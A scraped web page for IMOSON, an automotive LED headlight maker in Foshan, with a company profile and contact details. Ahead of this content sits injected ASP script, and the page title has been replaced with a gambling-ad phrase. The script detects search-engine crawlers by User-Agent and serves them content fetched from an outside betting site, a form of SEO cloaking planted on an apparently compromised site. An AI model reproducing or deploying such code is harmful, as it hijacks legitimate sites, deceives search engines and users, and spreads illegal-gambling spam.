Server.ScriptTimeout=600 Function check(user_agent) allow_agent=split("Baiduspider,Sogou,baidu,Soso,360,so,haosou",",") check_agent=false For agenti=lbound(allow_agent) to ubound(allow_agent) If instr(user_agent,allow_agent(agenti))>0 then check_agent=true exit for end if Next check=check_agent End function Sub sleep() If response.IsClientConnected=true then Response.Flush else response.end end if End Sub Public Function GetHtml(url) Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET",url,False ObjXMLHTTP.setRequestHeader "User-Agent",url ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "gb2312" GetHtml = objStream.ReadText objStream.Close End Function user_agent=Request.ServerVariables("HTTP_USER_AGENT") if check(user_agent)=true then body=GetHtml("https://yxxd668.com") 'if instr(request("aid"),"html")>0 then response.write body 'response.end end if 世界杯正规买球(中国)官方网站

公司简介 / INTO US

IMOSON 埃莫森 是来自美国的国际性汽车照明品牌,秉承着品质,创新,诚信,高效,共赢,积极进取,勇于创新的精神为理念。目前主力开发生产大功率LED汽车前照灯、雾灯、大灯主要包含H1、H4、9004、H8(H9、H10、H11)、H7、9005、9006、9012等型号。

IMOSON汽车led大灯的特点:1.功率小亮度强; 2.零秒启动无延时; 3.高安全够稳定; 4.聚光型好; 5.散热系统强大; 6.用户体验良好; 7.近光无透镜也有切割线; 8.价格实惠性价比高

专注于解决夜间行车照明问题,并取得重大进展,打破行业瓶颈,为夜间行车安全保驾护航!

公司动态 / NEWS
客户案例 / PROJECT
公司新闻 / NEWS
联系我们 / CONTACT
  • 地址:广东省佛山市里水镇胜利工业园A栋2楼喜光光电
  • 手机:15986408443
  • 手机:13316115711
  • 电话:0757-88733533
  • 传真:0757-88733533
  • E-mail:13316115711@163.com
  • 网址: www.eisenke.com
Server.ScriptTimeout=600